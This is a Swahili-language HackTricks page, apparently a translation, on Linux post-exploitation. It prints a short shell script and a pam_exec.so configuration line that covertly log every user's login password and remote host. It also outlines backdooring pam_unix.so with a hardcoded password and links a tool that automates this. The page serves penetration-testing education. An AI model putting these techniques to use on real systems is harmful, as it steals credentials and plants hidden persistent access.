hacktricks/linux-hardening/linux-post-exploitation
2024-07-18 22:14:33 +00:00
..
pam-pluggable-authentication-modules.md Translated ['binary-exploitation/basic-stack-binary-exploitation-methodo 2024-07-18 22:14:33 +00:00
README.md Translated ['1911-pentesting-fox.md', '6881-udp-pentesting-bittorrent.md 2024-07-18 18:37:42 +00:00

Uchimbaji Baada ya Kuingiliwa kwa Linux

{% hint style="success" %} Jifunze na zoezi la AWS Hacking:Mafunzo ya HackTricks AWS Timu Nyekundu Mtaalam (ARTE)
Jifunze na zoezi la GCP Hacking: Mafunzo ya HackTricks GCP Timu Nyekundu Mtaalam (GRTE)

Aunga mkono HackTricks
{% endhint %}

Kuchunguza Nywila za Kuingia kwa Kutumia PAM

Hebu tuziconfigure moduli ya PAM ili kurekodi kila nywila ambayo kila mtumiaji anatumia kuingia. Ikiwa hujui ni nini PAM angalia:

{% content-ref url="pam-pluggable-authentication-modules.md" %} pam-pluggable-authentication-modules.md {% endcontent-ref %}

Kwa maelezo zaidi angalia chapisho la asili. Hii ni muhtasari tu:

Muhtasari wa Mbinu: Moduli za Uthibitishaji Zinazoweza Kusanikishwa (PAM) hutoa uwezo wa kusimamia uthibitishaji kwenye mifumo inayotumia Unix. Wanaweza kuboresha usalama kwa kubinafsisha michakato ya kuingia lakini pia wanaweza kuleta hatari ikiwa hutumiwa vibaya. Muhtasari huu unaelezea mbinu ya kukamata nywila za kuingia kwa kutumia PAM, pamoja na mikakati ya kupunguza madhara.

Kukamata Nywila:

  • Skripti ya bash iliyoitwa toomanysecrets.sh imeundwa ili kurekodi jaribio la kuingia, ikikamata tarehe, jina la mtumiaji ($PAM_USER), nywila (kupitia stdin), na anwani ya IP ya mwenyeji wa mbali ($PAM_RHOST) kwenye /var/log/toomanysecrets.log.
  • Skripti hiyo inafanywa iweze kutekelezwa na kuingizwa kwenye usanidi wa PAM (common-auth) kwa kutumia moduli ya pam_exec.so na chaguo la kukimbia kimya kimya na kuonyesha kitambulisho cha uthibitishaji kwa skripti.
  • Mbinu hii inaonyesha jinsi mwenyeji wa Linux uliingiliwa unavyoweza kutumiwa kwa siri kurekodi nywila.
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh

Kuweka Backdoor kwenye PAM

Kwa maelezo zaidi angalia chapisho la asili. Hii ni muhtasari tu:

Moduli ya Uthibitishaji Inayoweza Kufungwa (PAM) ni mfumo unaotumiwa chini ya Linux kwa uthibitishaji wa mtumiaji. Inafanya kazi kwa misingi mitatu kuu: jina la mtumiaji, nenosiri, na huduma. Faili za usanidi kwa kila huduma zinapatikana kwenye saraka ya /etc/pam.d/, ambapo maktaba za pamoja hushughulikia uthibitishaji.

Lengo: Badilisha PAM ili kuruhusu uthibitishaji kwa kutumia nenosiri maalum, ukikwepa nenosiri halisi la mtumiaji. Hii inazingatia sana faili ya pam_unix.so inayotumiwa na faili ya common-auth, ambayo inajumuisha karibu huduma zote kwa uthibitishaji wa nenosiri.

Hatua za Kubadilisha pam_unix.so:

  1. Tafuta Maelekezo ya Uthibitishaji kwenye faili ya common-auth:
  • Mstari unaohusika na kuthibitisha nenosiri la mtumiaji unaita pam_unix.so.
  1. Badilisha Msimbo wa Chanzo:
  • Ongeza kauli ya masharti kwenye faili ya chanzo ya pam_unix_auth.c ambayo inaruhusu ufikiaji ikiwa nenosiri lililopangwa limetumiwa, vinginevyo, inaendelea na mchakato wa kawaida wa uthibitishaji.
  1. Kurekebisha na Kubadilisha maktaba iliyobadilishwa ya pam_unix.so kwenye saraka sahihi.
  2. Jaribio:
  • Ufikiaji unaruhusiwa kwenye huduma mbalimbali (ingia, ssh, sudo, su, skrini ya kuficha) kwa kutumia nenosiri lililopangwa, wakati mchakato wa kawaida wa uthibitishaji unabaki bila kuharibiwa.

{% hint style="info" %} Unaweza kiotomatisha mchakato huu kwa kutumia https://github.com/zephrax/linux-pam-backdoor {% endhint %}

{% hint style="success" %} Jifunze na zoezi la Udukuzi wa AWS:Mafunzo ya HackTricks kwa Wataalamu wa Timu Nyekundu wa AWS (ARTE)
Jifunze na zoezi la Udukuzi wa GCP: Mafunzo ya HackTricks kwa Wataalamu wa Timu Nyekundu wa GCP (GRTE)

unga mkono HackTricks
{% endhint %}